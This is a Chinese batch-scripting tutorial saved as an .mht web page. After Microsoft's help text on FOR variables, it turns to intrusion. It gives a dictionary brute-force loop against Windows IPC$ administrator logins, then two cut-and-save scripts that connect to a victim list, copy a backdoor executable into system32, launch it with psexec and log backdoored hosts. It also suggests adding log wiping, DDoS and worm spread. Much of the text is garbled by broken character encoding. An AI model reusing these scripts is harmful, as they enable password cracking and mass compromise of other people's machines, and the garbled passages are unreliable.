📄 cmdbat.mht
字号:
lang=3DEN-US> <br>
</span>括号之间的<span lang=3DEN-US> filename=
set </span>变成一个反括字符=
串。该字符串会<span
lang=3DEN-US> <br>
</span>被当作命令行，传$=
882;到一个子<span
lang=3DEN-US> CMD.EXE</span>，其输出会被=
;抓进<span
lang=3DEN-US> <br>
</span>内存，并被当作文=
214;分析。因此，以下例=
;子<span
lang=3DEN-US>:FOR /F "usebackq delims=3D=3D" %i IN (`set`) DO @ec=
ho %i <br>
</span>会枚举当前环境中=
340;环境变量名称。另外=
;，<span
lang=3DEN-US>FOR </span>变量参照的替=
5442;已被增强。您现在ࡤ=
7;以使用下列<span
lang=3DEN-US> <br>
</span>选项语法<span lang=3DEN-US>:~I - </span>=
024;除任何引号<span
lang=3DEN-US>(")</span>，扩充<span lang=3DEN-US> %I =
<br>
%~fI - </span>将<span lang=3DEN-US> %I </span>扩充到=
;一个完全合格的路径&#=
21517;<span
lang=3DEN-US> <br>
%~dI - </span>仅将<span lang=3DEN-US> %I </span>扩充=
;到一个驱动器号<span
lang=3DEN-US> <br>
%~pI - </span>仅将<span lang=3DEN-US> %I </span>扩充=
;到一个路径<span
lang=3DEN-US> <br>
%~nI - </span>仅将<span lang=3DEN-US> %I </span>扩充=
;到一个文件名<span
lang=3DEN-US> <br>
%~xI - </span>仅将<span lang=3DEN-US> %I </span>扩充=
;到一个文件扩展名<span
lang=3DEN-US> <br>
%~sI - </span>扩充的路径只含ć=
77;短名<span
lang=3DEN-US> <br>
%~aI - </span>将<span lang=3DEN-US> %I </span>扩充到=
;文件的文件属性<span
lang=3DEN-US> <br>
%~tI - </span>将<span lang=3DEN-US> %I </span>扩充到=
;文件的日期<span
lang=3DEN-US>/</span>时间<span lang=3DEN-US> <br>
%~zI - </span>将<span lang=3DEN-US> %I </span>扩充到=
;文件的大小<span
lang=3DEN-US> <br>
%~$PATH:I - </span>查找列在路径环=
境变量的目录，并将<sp=
an
lang=3DEN-US> %I </span>扩充<span lang=3DEN-US> <br>
</span>到找到的第一个完=
840;合格的名称。如果环=
;境变量<span
lang=3DEN-US> <br>
</span>未被定义，或者没=
377;找到文件，此组合键=
;会扩充<span
lang=3DEN-US> <br>
</span>空字符串可以组合=
462;饰符来得到多重结果=
;<span
lang=3DEN-US>:%~dpI - </span>仅将<span lang=3DEN-US> %I </span>=
扩充到一个驱动器号=
1644;路径<span
lang=3DEN-US> <br>
%~nxI - </span>仅将<span lang=3DEN-US> %I </span>扩ࠠ=
5;到一个文件名和扩展&=
#21517;<span
lang=3DEN-US> <br>
%~fsI - </span>仅将<span lang=3DEN-US> %I </span>扩ࠠ=
5;到一个带有短名的完&=
#25972;路径名<span
lang=3DEN-US> <br>
%~dp$PATH:i - </span>查找列在路径஑=
5;境变量的目录，并将<=
span
lang=3DEN-US> %I </span>扩充<span lang=3DEN-US> <br>
</span>到找到的第一个驱=
160;器号和路径。<span
lang=3DEN-US> <br>
%~ftzaI - </span>将<span lang=3DEN-US> %I </span>扩充=
040;类似输出线路的<span
lang=3DEN-US> DIR</span>在以上例子中=
5292;<span
lang=3DEN-US>%I </span>和<span lang=3DEN-US> PATH </span>可=
992;其他有效数值代替。=
;<span
lang=3DEN-US>%~ </span>语法<span lang=3DEN-US> <br>
</span>用一个有效的<span lang=3DEN-US> =
FOR </span>变量名终止。选取=
类似<span
lang=3DEN-US> %I </span>的大写变量名<sp=
an
lang=3DEN-US> <br>
</span>比较易读，而且避=
813;与不分大小写的组合=
;键混淆。以上是<span
lang=3DEN-US>MS</span>的官方帮助，Ç=
79;面我们举几个例子来=
具体说明一下<span
lang=3DEN-US>For</span>命令在入侵中=
340;用途。<span
lang=3DEN-US>sample2</span>：利用<span lang=3DEN-US>For</=
span>命令来实现对一台௤=
6;标<span
lang=3DEN-US>Win2k</span>主机的暴力密&#=
30721;破解。<span
lang=3DEN-US> <br>
</span>我们用<span lang=3DEN-US>net use \\ip\ipc$
"password" /u:"administrator"</span>来尝=
5797;这和目标主机进行๣=
0;接，当成功时记下密&=
#30721;。<span
lang=3DEN-US> <br>
</span>最主要的命令是一=
465;：<span
lang=3DEN-US>for /f i% in (dict.txt) do net use \\ip\ipc$ "i%"
/u:"administrator" <br>
</span>用<span lang=3DEN-US>i%</span>来表示<span
lang=3DEN-US>admin</span>的密码，在<span
lang=3DEN-US>dict.txt</span>中这个取<span lang=3DEN=
-US>i%</span>的值用<span
lang=3DEN-US>net use </span>命令来连接。=
;然后将程序运行结果&#=
20256;递给<span
lang=3DEN-US>find</span>命令－－<span lang=3DEN-US>=
<br>
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%"
/u:"administrator"|find ":</span>命令成=
1151;完成<span
lang=3DEN-US>">>D:\ok.txt </span>，这样就=
;<span
lang=3DEN-US>ko</span>了。<span lang=3DEN-US>sample3</span>A=
306;你有没有过手里有大=
;量肉鸡等着你去种后&#=
38376;＋木马呢？，当数ŵ=
27;特别多的时候，原本=
很开心的一件事都会=
1464;得很郁闷：）。文౉=
6;开头就谈到使用批处&=
#29702;文件，可以简化日=
120;或重复性任务。那么=
;如何实现呢？呵呵，&#=
30475;下去你就会明白了z=
90;<span
lang=3DEN-US> <br>
</span>主要命令也只有一=
465;：（在批处理文件中=
;使用<span
lang=3DEN-US> FOR </span>命令时，指定&#=
21464;量使用<span
lang=3DEN-US> %%variable</span>）<span lang=3DEN-US> <br>
@for /f "tokens=3D1,2,3 delims=3D " %%i in (victim.txt) do start =
call
door.bat %%i %%j %%k <br>
tokens</span>的用法请参见上༣=
4;的<span
lang=3DEN-US>sample1</span>，在这里它表=
示按顺序将<span
lang=3DEN-US>victim.txt</span>中的内容传Ű=
82;给<span
lang=3DEN-US>door.bat</span>中的参数<span lang=3DEN=
-US>%i
%j %k</span>。<span lang=3DEN-US> <br>
</span>而<span lang=3DEN-US>cultivate.bat</span>无非ì=
01;是用<span
lang=3DEN-US>net use</span>命令来建立<span
lang=3DEN-US>IPC$</span>连接，并<span lang=3DEN-US>=
copy</span>木马＋后门到<span
lang=3DEN-US>victim</span>，然后用返回&=
#30721;（<span
lang=3DEN-US>If errorlever =3D</span>）来筛选ৎ=
4;功种植后门的主机，&=
#24182;<span
lang=3DEN-US>echo</span>出来，或者<span lang=
=3DEN-US>echo</span>到指定的文件。=
;<span
lang=3DEN-US> <br>
delims=3D </span>表示<span lang=3DEN-US>vivtim.txt</span>ߑ=
3;的内容是一空格来分&=
#38548;的。我想看到这里=
320;也一定明白这<span
lang=3DEN-US>victim.txt</span>里的内容是É=
60;么样的了。应该根据=
<span
lang=3DEN-US>%%i %%j %%k</span>表示的对象=
469;排列，一般就是<span
lang=3DEN-US> ip password username</span>。<span lang=3DEN-US> <br>
</span>代码雏形：<span lang=3DEN-US> <br>
--------------- cut here then save as a batchfile(I call it main.bat )
--------------------------- <br>
@echo off <br>
@if "%1"=3D=3D"" goto usage <br>
@for /f "tokens=3D1,2,3 delims=3D " %%i in (victim.txt) do start =
call
IPChack.bat %%i %%j %%k <br>
@goto end <br>
:usage <br>
@echo run this batch in dos modle.or just double-click it. <br>
:end <br>
--------------- cut here then save as a batchfile(I call it main.bat )
--------------------------- <br>
------------------- cut here then save as a batchfile(I call it door.bat)
----------------------------- <br>
@net use \\%1\ipc$ %3 /u:"%2" <br>
@if errorlevel 1 goto failed <br>
@echo Trying to establish the IPC$ connection …………O=
K <br>
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo =
IP
%1 USER %2 PWD %3 >>ko.txt <br>
@psexec \\%1 c:\winnt\system32\windrv32.exe <br>
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1
Backdoored >>ko.txt <br>
:failed <br>
@echo Sorry can not connected to the victim. <br>
----------------- cut here then save as a batchfile(I call it door.bat)
-------------------------------- <br>
</span>这只是一个自动种=
893;后门批处理的雏形，=
;两个批处理和后门程&#=
24207;（<span
lang=3DEN-US>Windrv32.exe</span>）<span lang=3DEN-US>,PSexec.exe</spa=
n>需放在统一目录下<span
lang=3DEN-US>.</span>批处理内容<span lang=3DE=
N-US> <br>
</span>尚可扩展<span lang=3DEN-US>,</span>例&=
#22914;<span
lang=3DEN-US>:</span>加入清除日志<span
lang=3DEN-US>+DDOS</span>的功能<span lang=3DEN-US>,</span=
>加入定时添加用户的&#=
21151;能<span
lang=3DEN-US>,</span>更深入一点可ߣ=
7;使之具备自动传播功&=
#33021;<span
lang=3DEN-US>(</span>蠕虫<span lang=3DEN-US>).</span>此&#=
22788;不多做叙述<span
lang=3DEN-US>,</span>有兴趣的朋友ࡤ=
7;自行研究<span
lang=3DEN-US>.</span>二<span lang=3DEN-US>.</span>如何=
2312;批处理文件中使用ࡠ=
2;数<span
lang=3DEN-US> <br>
</span>批处理中可以使用=
442;数，一般从<span
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -